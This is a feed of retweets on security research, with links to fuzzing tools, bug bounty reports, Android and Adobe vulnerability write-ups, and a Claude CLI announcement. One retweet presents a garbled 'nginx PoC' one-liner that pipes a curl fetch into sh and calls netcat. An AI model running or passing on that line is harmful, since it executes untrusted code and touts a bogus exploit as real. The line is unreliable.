zx retweeted
【Claude Platformに「ant CLI」が新登場】
ターミナルから全APIをサクッと操作できるCLIツールが出ました🐜
• Messages API呼び出し、Claude Managed Agentsの作成・更新・実行
• 結果をそのままシェルにパイプ
• 「ant auth login」でブラウザOAuthログイン（ワークスペース対応！！）
• YAMLでエージェントをGit管理 → CIで「ant beta:agents update」同期
• セッション起動→イベント送信→trace取得も全部CLIで
• Claude Codeが「/claude-api」スキルでネイティブにant CLIを使える（コード書かずに操作可能）
なお、"Ant"hropicから取ったとのこと🐜
インストールは brew / curl / go でOK
公式ドキュメント：platform.claude.com/docs/en/…
これでAPIテストもエージェント運用も爆速。ターミナルがClaudeの操作画面になる神アプデです。
zx retweeted
Our LLM powered fuzzing framework is now open for community research. Help accelerate the innovation in #fuzzing - github.com/google/oss-fuzz-g…
zx retweeted
Ladies and Gentlemen: The new Dojo opens to welcome black belt Hackers to fight for honor!!! #VSRC
Liferay revisited: A tale of 20k$. vsrc.vng.com.vn/blog/liferay…
Hope you guys enjoy it and stay tuned for more technique writeups / blogs / exploits ... will come.
~Cheers,
VSRC
zx retweeted
Key takeaway: Fuzzing is extremely sensitive to your corpus and your mutator. To emphasize this, we wrote a 4 line-of-code mutator which was able to find multiple bugs in latest objdump in a few thousand fuzz cases. AFL was unable to find any bugs even with millions of cases.
zx retweeted
Node.js third-party modules disclosed a bug submitted by ahihi: hackerone.com/reports/902739 #hackerone #bugbounty
zx retweeted
Finally. It is official now. Wireguard is now in Linus' Linux kernel tree. No more OpenVPN ;)
lists.zx2c4.com/pipermail/wi…
zx retweeted
[Educational] One of the best blog posts that I ever read about going from 0 to unauth RCE in f**king Mikrotik OS step by step: medium.com/@maxi./finding-an…
zx retweeted
curl cheat sheet refresh? Are there any significant curl options missing on this image that you'd miss on a tshirt? =) curl.github.io/curl-cheat-sh…
zx retweeted
Investigating Windows Graphics Vulnerabilities: A Reverse Engineering and #Fuzzing Story. @Ixia_ATI security researcher Radu-Emanuel Chiscariu shares his findings in this blog: hubs.ly/H0ltdHC0 #Ixiacom CVE-2019-0618 #SecOps @adur_cre
zx retweeted
New Blog Post: In-Process Fuzzing With @fridadotre (also featuring Frizzer by @dennismantz and @lod108): bananamafia.dev/post/frida-f… #frida
zx retweeted
How phishing attacks work. xitter.cf/LadyNevaa/status/11605…
zx retweeted
Debugging the Samsung Android Kernel
#MobileSecurity #AndroidSecurity by @Alex91dotar
Part 1: medium.com/@alex91ar/debuggi…
Part 2: medium.com/@alex91ar/debuggi…
Part 3: medium.com/@alex91ar/debuggi…
zx retweeted
LEAKED: nginx 1.x PoC on-liner. Null-byte RCE overflow in nginx BLT/Stream
curl -gsS victim.server.here:443/../..…\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
zx retweeted
Twitter lite (Android): Vulnerable to local file steal, Javascript injection, Open redirect
#MobileSecurity #AndroidSecurity
hackerone.com/reports/499348
zx retweeted
Just published a script to quickly hook JNI Call from Android NDK with @fridadotre
github.com/Areizen/JNI-Frida…
zx retweeted
Reminder: Google gives anyone with a Gmail account a free Debian VM with 5Gb of storage. console.cloud.google.com/clo…
zx retweeted
Finally! I'm releasing my tool,"Virtuailor", it reconstructs C++ vtables in IDA and helps making C++ RE easier!
Enjoy! 😀
github.com/0xgalz/Virtuailor
zx retweeted
This is the story of how we discovered over 50 critical vulnerabilities in Adobe Reader research.checkpoint.com/50-a… #adobe
zx retweeted
Breaking The Facebook For Android Application
#MobileSecurity #AndroidSecurity ash-king.co.uk/facebook-bug-…
